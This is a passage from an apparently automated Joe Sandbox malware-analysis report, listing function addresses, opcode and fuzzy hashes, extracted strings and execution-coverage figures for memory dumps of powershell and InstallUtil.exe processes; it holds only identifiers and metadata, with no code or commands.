API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 330a4ad8957c4f682b835999982a3a90cf10728e04c5da97c489b36414849c1f
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: F0E08632B000149B8B089599D8115D9F7A6DBCC321F14847AD91AA7340DA32991A9791

Function 00F8A361 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b11c79973f844d7d7035d067bd1696396f6faaa82fd0f20c47b19bbd085cf9
Instruction ID: 8560368dcd3dd888b02d848ebf2d82ab0dff30d284ce301191faaeae66a8efdc
Opcode Fuzzy Hash: 81b11c79973f844d7d7035d067bd1696396f6faaa82fd0f20c47b19bbd085cf9
Instruction Fuzzy Hash: BBE04F35A05209CBCB14EFA4F44A6F9BFB4EB44210F10516AD98596350DA342951CFC2

Function 00F8E518 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4956252794bde9c82d42886ab4d21fbad0fe3da69dbb9e84a5544dcfa8ea7133
Instruction ID: 39ef5f4f1e60520b54f71494ffa666e66d843ac6d3ac37f8b462d1966780bb6d
Opcode Fuzzy Hash: 4956252794bde9c82d42886ab4d21fbad0fe3da69dbb9e84a5544dcfa8ea7133
Instruction Fuzzy Hash: 96D0C7757041246F8204669DF41985DB7DDD7C97B2344003AF61DC7750DE659C0687E9

Function 00F8A2A8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5e1aff7f8fd5061d962236ebef57b8cfc57021a962a6cb1f86331ed344bacd
Instruction ID: ff68ea97d0dfd174876f62e3c810c2682b686ca2dfb856e2b11954abb32b2606
Opcode Fuzzy Hash: 2d5e1aff7f8fd5061d962236ebef57b8cfc57021a962a6cb1f86331ed344bacd
Instruction Fuzzy Hash: 63D06731C0510D8BCB08EBA5E85F4BDBB34EB10305F405169DA57A62A1AA352A56DBC2

Function 00F8A370 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d4f51c5f2466872aecafdd434b9291f2a287d395182ced4ba5fe7796b0fe99
Instruction ID: f76c9b0f6a6095b684685126706afc9f9430e0aad7cc4af5820118b5d0559194
Opcode Fuzzy Hash: 94d4f51c5f2466872aecafdd434b9291f2a287d395182ced4ba5fe7796b0fe99
Instruction Fuzzy Hash: 73D01734E092098BCB44EFA4E44A97EBFB8EB44200F104169D94997360EA306901CFC2

Function 00F895F9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eab8f52166b000eec55a1bab9d5c101c1ac6d40da2b28da3132628fd3b532d9
Instruction ID: 516d6abecd0dbbb654df40268f11894a27273db4cb2ad2b9bb5301339295b559
Opcode Fuzzy Hash: 7eab8f52166b000eec55a1bab9d5c101c1ac6d40da2b28da3132628fd3b532d9
Instruction Fuzzy Hash: 08D0227104E3C8AFC7031B30AC54420BFB47F8310430569CAE84E8F1A3EA25ED89CB52

Function 00F89B70 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0cbbc32976056150abd68ebe3fc13d529d6e2a3d6845876db243e1638408a6
Instruction ID: eb2ecd4947b0ae7d3505ee8130337060c21cd1219d7b8a145562aadd507d61c6
Opcode Fuzzy Hash: 4a0cbbc32976056150abd68ebe3fc13d529d6e2a3d6845876db243e1638408a6
Instruction Fuzzy Hash: F5C02B6AA0D3C45FEF0EA2730D140D23F320D4330231668C7C101C9883C9280406D731

Function 00F89608 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ead97ef06f602b79dab3e2b578fc7775a5ad6afc063f11a8bf845db2fa1cf1
Instruction ID: c200f6134ba273d92c51a826e32d72f51504403777d7f32deb783e9b3bfc6850
Opcode Fuzzy Hash: 25ead97ef06f602b79dab3e2b578fc7775a5ad6afc063f11a8bf845db2fa1cf1
Instruction Fuzzy Hash: D6B0923104870DCFC2496F75E4488157729BB4521978008E8E90E0A2929E36E889CA45

Function 00F88F30 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ad3d1b0e518b47e86e813796291204389f5813aa82bc970f59d0a6366f2ac7
Instruction ID: ff763832e77b94ebbf4dba382434da432e364105737dafe82ad04862134638bd
Opcode Fuzzy Hash: 30ad3d1b0e518b47e86e813796291204389f5813aa82bc970f59d0a6366f2ac7
Instruction Fuzzy Hash: CFA00237F1816187BF4CFA3A6B6E6BA263397C6391319D46A9103D0044CD744145F704

Non-executed Functions

Function 00F8E137 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fa035e89d97d4c1b20e5de1a5edaa31300f82bf113d6cdff97f587ae8eb4f06
Instruction ID: 5a337026d161e567865bce855f65b9bd8e8aa97b3aecd4a8b5d57d555fe06d1e
Opcode Fuzzy Hash: 7fa035e89d97d4c1b20e5de1a5edaa31300f82bf113d6cdff97f587ae8eb4f06
Instruction Fuzzy Hash: C481792259E7E05FEB076B3C99B50D67F709E5326870A04E7C4C08F1B7D458888ED7AA

Function 074722C8 Relevance: 13.0, Strings: 10, Instructions: 476COMMON

Download Yara Rule

Strings

$^q, xrefs: 0747265C
tP^q, xrefs: 074726EC
4'^q, xrefs: 07472372
$^q, xrefs: 074727DA
$^q, xrefs: 074727E6
4'^q, xrefs: 07472575
4'^q, xrefs: 0747237E
tP^q, xrefs: 074726F8
$^q, xrefs: 074727AF
4'^q, xrefs: 0747257F

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-788909730
Opcode ID: 824c1cf8b1f05d15e03be041cd604a11e44b3d517871af01980bdb99fbbbaa3c
Instruction ID: 87f228ade2b09ce30a55825f3bd2ab96794afbc53a757ecffaf8855ce6fcd87e
Opcode Fuzzy Hash: 824c1cf8b1f05d15e03be041cd604a11e44b3d517871af01980bdb99fbbbaa3c
Instruction Fuzzy Hash: 4CF135B1B043069FCB258A7998107EBBBB6BF86210F14C46BD545CF351DEB5C886C7A2

Function 074728D8 Relevance: 10.3, Strings: 8, Instructions: 325COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07472AE5
tP^q, xrefs: 07472961
tP^q, xrefs: 07472955
$^q, xrefs: 0747291C
$^q, xrefs: 07472BBE
$^q, xrefs: 074728EA
$^q, xrefs: 07472910
4'^q, xrefs: 07472AD9

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
API String ID: 0-3865595929
Opcode ID: 74e724e4640949c8638fc8e63920d5bcf9c7a0252c4f84a72e1817caef5995be
Instruction ID: 57e8a5ad7ca3e26e8445f6c8283ee286c182750cbe4f690c76c369aea73d3549
Opcode Fuzzy Hash: 74e724e4640949c8638fc8e63920d5bcf9c7a0252c4f84a72e1817caef5995be
Instruction Fuzzy Hash: 7FA146B17043068FDB259A6998007E7BBF6BFC6620F18846BD445CF352DE75C986C3A1

Function 074750F8 Relevance: 9.2, Strings: 7, Instructions: 427COMMON

Download Yara Rule

Strings

4'^q, xrefs: 074754A1
pihj, xrefs: 0747518B
4'^q, xrefs: 0747519E
tP^q, xrefs: 07475503
4'^q, xrefs: 074751AA
tP^q, xrefs: 074754F7
4'^q, xrefs: 074754AD

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$pihj$tP^q$tP^q
API String ID: 0-399736606
Opcode ID: 0e83921513b1977784dbc4e2a9cd521e5916fbdc3b3a4c504457976375cc3fdb
Instruction ID: b7806a93bf4f6cef082b5869235669ff21b5af6373351253871b8b8fcf4b53d7
Opcode Fuzzy Hash: 0e83921513b1977784dbc4e2a9cd521e5916fbdc3b3a4c504457976375cc3fdb
Instruction Fuzzy Hash: D2D179B1B082468FCB258B6994046EBFBB6EFC1211F1984BBD405CF355DB31C9A6C7A1

Function 00F896E8 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

`_q, xrefs: 00F8998A
`_q, xrefs: 00F8990C
`_q, xrefs: 00F8986A
`_q, xrefs: 00F897EB

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: d219c44aff9d795207764715fc20031074225895f71a14353ffc83187639dea9
Instruction ID: cfb01e5ed0073f1fc2ac61e2f03bd38f56f5355e3a55d916dcaa8ca2cff0ea8b
Opcode Fuzzy Hash: d219c44aff9d795207764715fc20031074225895f71a14353ffc83187639dea9
Instruction Fuzzy Hash: 75B1A374E002099FCB55DFA9D980A9DFBF2FF88310F14862AE419AB355DB70A945CF90

Function 00F896F8 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 00F8998A
`_q, xrefs: 00F8990C
`_q, xrefs: 00F8986A
`_q, xrefs: 00F897EB

Memory Dump Source

Source File: 00000004.00000002.1836194143.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f80000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 1545e390ad30ec4de183d61464b0439755124353160de389f4ce21f1b4af674b
Instruction ID: e71b6baa2f4042e35887f9377dd530c326bc7d19f15c9436ea0d237a32e0726c
Opcode Fuzzy Hash: 1545e390ad30ec4de183d61464b0439755124353160de389f4ce21f1b4af674b
Instruction Fuzzy Hash: 95B19274E002199FCB55DFA9D980A9DFBF2FF88310F108629E819AB355DB70A945CF90

Function 0747583F Relevance: 5.1, Strings: 4, Instructions: 141COMMON

Download Yara Rule

Strings

pihj, xrefs: 0747587B
pihj, xrefs: 0747592E
pihj, xrefs: 074758B8
pihj, xrefs: 074758C8

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: pihj$pihj$pihj$pihj
API String ID: 0-1746943700
Opcode ID: f0db152c4d62ad36badeb58b358283ab45195b76ae2d1aa3c63cf0517d381da2
Instruction ID: 46c08266f1e535da17dd97242a1f480840030508395b8604d4ac716d2e839d43
Opcode Fuzzy Hash: f0db152c4d62ad36badeb58b358283ab45195b76ae2d1aa3c63cf0517d381da2
Instruction Fuzzy Hash: 6E4146F160020ADFDF148E6994402EBFBE6AF86220F1588BBD4158F341DF35C9A5CB61

Function 074745E0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07474648
$^q, xrefs: 074745F2
$^q, xrefs: 0747463C
$^q, xrefs: 0747460E

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 0d94d70aff48ccbcdc03f5d0c94b3940342c221dbea7882423ca2aa5274cc4a7
Instruction ID: 25f9968b279d0a8128dbdb9c83383e4ccbd111ab1aa064096a611f08526233a8
Opcode Fuzzy Hash: 0d94d70aff48ccbcdc03f5d0c94b3940342c221dbea7882423ca2aa5274cc4a7
Instruction Fuzzy Hash: CA2188F1300386ABDB34556E9800BF7AADA6BC1714F20C82BE505CB385CE7EC84AC321

Function 07470308 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$^q, xrefs: 07470352
4'^q, xrefs: 0747037F
4'^q, xrefs: 07470373
$^q, xrefs: 0747035E

Memory Dump Source

Source File: 00000004.00000002.1842793279.0000000007470000.00000040.00000800.00020000.00000000.sdmp, Offset: 07470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7470000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: ccc7a2b44f5f31cfd4834e583d114d76070b23b1dc2f7218879288a9400c17ac
Instruction ID: c4c52a6cd9fb2d3f1916a4cf8c2af5ea8b1bc90dbe5739c5d8e11367cf7e0a53
Opcode Fuzzy Hash: ccc7a2b44f5f31cfd4834e583d114d76070b23b1dc2f7218879288a9400c17ac
Instruction Fuzzy Hash: B001A761B0E3D99FC72B162819201D66FB29BC395071A45E7C081CF3A7CD144C4AC3B3

Analysis Process: InstallUtil.exePID: 5308, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	5

Executed Functions

Function 00BAB76F Relevance: 3.0, Instructions: 2988COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb1fb2bd7d79959781d7299e8aa3b949b2a9305edf2c4680ce0baf3829d27c7
Instruction ID: 765ccebea129249d149498d4ac432a5915916210d30dd12dbc3b01d2537d7b6d
Opcode Fuzzy Hash: feb1fb2bd7d79959781d7299e8aa3b949b2a9305edf2c4680ce0baf3829d27c7
Instruction Fuzzy Hash: 94630B31D14B198ACB51EF68C8805A9F7B1FF9A300F15D79AE45977221FB70AAC4CB81

Function 00BACDA8 Relevance: 2.3, Instructions: 2309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 362eca9a6e0bf8ecf72fdf043d58a79068433965abf85342c504067ae24f069f
Instruction ID: 22b41dbde083274f9b63d83041536dde9731c050e72b219fe11a603db82391ef
Opcode Fuzzy Hash: 362eca9a6e0bf8ecf72fdf043d58a79068433965abf85342c504067ae24f069f
Instruction Fuzzy Hash: 83331B31D147198ECB11EF68C8906ADF7B1FF99300F15C69AE459B7221EB70AAC5CB81

Function 00BA3E78 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V`m, xrefs: 00BA40C3

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V`m
API String ID: 0-2656062278
Opcode ID: a610ceefb710c52640280d9bf5b17c6a5ab797b96356f08d2b7c7d9539a1058e
Instruction ID: 7929459382f52b09a0b76994dc93c2a8759e0fed7a0249cc09cf12a51517af73
Opcode Fuzzy Hash: a610ceefb710c52640280d9bf5b17c6a5ab797b96356f08d2b7c7d9539a1058e
Instruction Fuzzy Hash: 5A918F70E04209DFDF20CFA9D9817DEBBF2EF89714F148169E404A7294EB749985CB81

Function 00BA9370 Relevance: .6, Instructions: 622COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37000ebde7d5a2019927c7a8ec4d48b1e4c43783ecab1835eb7c744d83a89bda
Instruction ID: 47702dd440a9964ba1abbfc4d279052ecfef81330c9795552a91d299b7e4d0dc
Opcode Fuzzy Hash: 37000ebde7d5a2019927c7a8ec4d48b1e4c43783ecab1835eb7c744d83a89bda
Instruction Fuzzy Hash: EA328F34A042048FDB14DF69D994AAEBBF2FF89310F2484AAE909DB395DB35DC45CB50

Function 00BA4A90 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9891fa1547e2cd81266c1cbfb1b3a26c58a443149dca9adbbd9b5b6486d11463
Instruction ID: 25fd220a3b37f7cd2c95e9a6b9fba86cb81a41785506d3098a2ee5abeecf26c0
Opcode Fuzzy Hash: 9891fa1547e2cd81266c1cbfb1b3a26c58a443149dca9adbbd9b5b6486d11463
Instruction Fuzzy Hash: 8DB16C70E042098FDF10CFA9D8817ADBBF2EF89314F148569D859E7294EBB49C85CB91

Function 00BA6ED0 Relevance: 2.6, Strings: 2, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LR^q, xrefs: 00BA6F06
LR^q, xrefs: 00BA6FDD

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q$LR^q
API String ID: 0-4089051495
Opcode ID: 2e564b9aadb0452a5498f203212f29c1361d4dc18efc48072c973edda6476012
Instruction ID: 2b53e24cdd7c5abaeafe3cd82e6c6e0acbeedac36bdb2c26ca57657a579b0e9e
Opcode Fuzzy Hash: 2e564b9aadb0452a5498f203212f29c1361d4dc18efc48072c973edda6476012
Instruction Fuzzy Hash: 6251F670E082059FDB25DF78D8547AEB7F5EF86300F2485A9E405EB290EF719C468B51

Function 05D5E280 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,05D5E202), ref: 05D5E2EF

Memory Dump Source

Source File: 00000008.00000002.2117525920.0000000005D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5d50000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8781958a86e1ffd68aee9621b14a00428376bd1c174a2c8f17a996665719dbc4
Instruction ID: 9ff49b7398fc15a5233c2e7d23aff92330e7ad7bd8f327b00e850ad6238a8bf0
Opcode Fuzzy Hash: 8781958a86e1ffd68aee9621b14a00428376bd1c174a2c8f17a996665719dbc4
Instruction Fuzzy Hash: 252148B1C042598FDB20DFAAD4447DEBBF5EF48320F10816AD858A7244D778AA41CFA1

Function 05D5D918 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,05D5E202), ref: 05D5E2EF

Memory Dump Source

Source File: 00000008.00000002.2117525920.0000000005D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5d50000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: fec1357dc79004c754ff3cfc5edeacc42725a9a3a64c20778986ac20aca27d08
Instruction ID: 19ae698a32da4fb08905ce5e010f06db7100105ea5001aa9281bf31f2bc5bb29
Opcode Fuzzy Hash: fec1357dc79004c754ff3cfc5edeacc42725a9a3a64c20778986ac20aca27d08
Instruction Fuzzy Hash: 1D1103B1C046699BDB10DF9AC5447AEFBF4EB48324F10816AE918B7241D378A940CFA5

Function 00BA3E6C Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V`m, xrefs: 00BA40C3

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V`m
API String ID: 0-2656062278
Opcode ID: 33a0cca6e63074c919477bdb56a3826824c5b1f4eb2722320d4bf158dcec0bc8
Instruction ID: da2fbd219cc8f1d29a21a09bf126d885e69546ed34fa3b7c30127ff6954cef09
Opcode Fuzzy Hash: 33a0cca6e63074c919477bdb56a3826824c5b1f4eb2722320d4bf158dcec0bc8
Instruction Fuzzy Hash: D7A18EB0E04209DFDF20CFA9D9817DEBBF1EF89714F248169E405A7254EB749986CB81

Function 00BAF2E5 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

PH^q, xrefs: 00BAF433

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 5f65c50714feff44b166fd1b7f7b5d0b32967483145c51d4c5f08686d6a43510
Instruction ID: db285d92e25ae56f9aa8cdd0e5117720d0bd9f918c7fff3d3aeb13d289af8bce
Opcode Fuzzy Hash: 5f65c50714feff44b166fd1b7f7b5d0b32967483145c51d4c5f08686d6a43510
Instruction Fuzzy Hash: 7F31E0307042028FDB15ABB4C5546AE7BE2EB8A340F1485BAD406DB391EF39CD47CB96

Function 00BAF2F8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 00BAF433

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 9812f68502556e7fdde9c7dca9d347b4ae1578f4103ce57fa630beb41726c6a9
Instruction ID: 9af553e3fa6b00ec79caf93b370c27629918254d0eb2812bb73d59ab212259f9
Opcode Fuzzy Hash: 9812f68502556e7fdde9c7dca9d347b4ae1578f4103ce57fa630beb41726c6a9
Instruction Fuzzy Hash: 21310130B042068FDB19ABB4C5546AF7BE2EB8A340F2484B9D006DB395EF35DD46C796

Function 00BA6F70 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00BA6FDD

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 640c47ee07a61f9d1959b67dee5c03b42c4324d1f59683cee26d2b62df9599a2
Instruction ID: 5bdb8df91eeaaf77aefa376a0f3a01ff8bdb7ffe7cee515954ed7f99b8a74330
Opcode Fuzzy Hash: 640c47ee07a61f9d1959b67dee5c03b42c4324d1f59683cee26d2b62df9599a2
Instruction Fuzzy Hash: A4318F70E182099BDF25CFA4D85479EB7F6FF8A300F248565E405EB240EB71AC46CB51

Function 00BA6B98 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00BA6BCF

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 7a1d2c2668aff11f829d40948f10949f04ee5b2f44beec1e25fd0f8aa8e03943
Instruction ID: 47cea668ee1684d03945380ca14687600d4e84cb49f4efb5ac8a39352fc7c52b
Opcode Fuzzy Hash: 7a1d2c2668aff11f829d40948f10949f04ee5b2f44beec1e25fd0f8aa8e03943
Instruction Fuzzy Hash: 522135313092409FC715EB3994157AE3BF5EF86700B0485EBD049CB3A7EA348D0A87D2

Function 00BA7900 Relevance: .6, Instructions: 557COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66e902c6f553270d3e71e84247e4e383727b9a9eb326154d7f9a822fda42659d
Instruction ID: afc6995ff8f66b665f65bff2291d2960796be079b7b46fb1cc559b51be69dcb7
Opcode Fuzzy Hash: 66e902c6f553270d3e71e84247e4e383727b9a9eb326154d7f9a822fda42659d
Instruction Fuzzy Hash: A71274707051059FDB16AB38E85822D77E6EBCA344B148A7AE405CB396EF35EC47CB81

Function 00BA7910 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ab95a18e4a6e8ec838e03a1e92f13aa82e536406447927f63629367e6480ff6
Instruction ID: 51239612c1bb344b5b8797610f2da7fa785e3412be45d8e741d03c1d1a8bfcc2
Opcode Fuzzy Hash: 8ab95a18e4a6e8ec838e03a1e92f13aa82e536406447927f63629367e6480ff6
Instruction Fuzzy Hash: E41274707051059FDB16AB38E85822D77E6EBCA344B148A7AE405CB396EF35EC47CB81

Function 00BA4A84 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2109430862.0000000000BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ba0000_InstallUtil.jbxd

Similarity

API ID:
